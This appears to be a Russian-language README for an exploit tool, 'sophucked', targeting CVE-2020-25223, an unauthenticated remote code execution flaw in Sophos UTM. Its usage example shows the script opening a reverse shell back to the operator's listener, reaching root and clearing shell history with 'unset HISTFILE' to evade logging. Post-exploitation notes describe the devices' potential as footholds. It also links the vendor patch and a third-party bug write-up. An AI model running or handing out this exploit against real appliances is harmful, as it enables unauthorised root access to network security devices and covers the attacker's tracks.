sophucked

CVE-2020-25223 RCE PoC, получает обратную оболочку. Без аутентификации. Реализовано быстро, так как требовалось для объединения некоторых угроз-магнитов.

Пример использования:

# python sophucked.py https://x.x.x.x:4443 x.x.x.x 80
(+) запускаем обработчик на порту 80
(+) Отправляем callback на x.x.x.x:80
(+) соединение от x.x.x.x
(+) открывай оболочку!
bash: невозможно управление заданиями в этой оболочке
utm:/var/confd # unset HISTFILE
unset HISTFILE
utm:/var/confd # id
id
uid=0(root) gid=0(root) groups=0(root)
utm:/var/confd # exit
exit
exit
*** Соединение закрыто удалённым хостом ***
# 

Сканирование/Обнаружение

В данном инструменте не реализовано, просто используйте шаблон nuclei.

Заметки по пост-эксплуатации

У этих устройств есть интерпретатор Python и, по сути, полнофункциональная среда Linux. Огромный потенциал для пост-эксплуатации.

Заметки для синей команды

Уверен, кто-то, кому это небезразлично, сможет заполнить этот раздел. Bitter (подмножество «blue team twitter»), вероятно, сделает это в ближайшее время. В конце концов, обнаружить незашифрованный обратный шелл, исходящий из вашего Unified Threat Manager, не так уж сложно, правда?

Исправление бага

Кто-то (предположительно из Sophos) прислал это — официальная ссылка на исправление. Идите и обновите свой UTM. https://www.sophos.com/en-us/security-advisories/sophos-sa-20200918-sg-webadmin-rce

Ссылки и прочее

Сторонняя ссылка (детали бага): https://www.atredis.com/blog/2021/8/18/sophos-utm-cve-2020-25223

Прямые жалобы в Sophos, которые каким-то образом посчитали, что передавать пользовательский ввод в open() в Perl — это хорошая идея в XXI веке.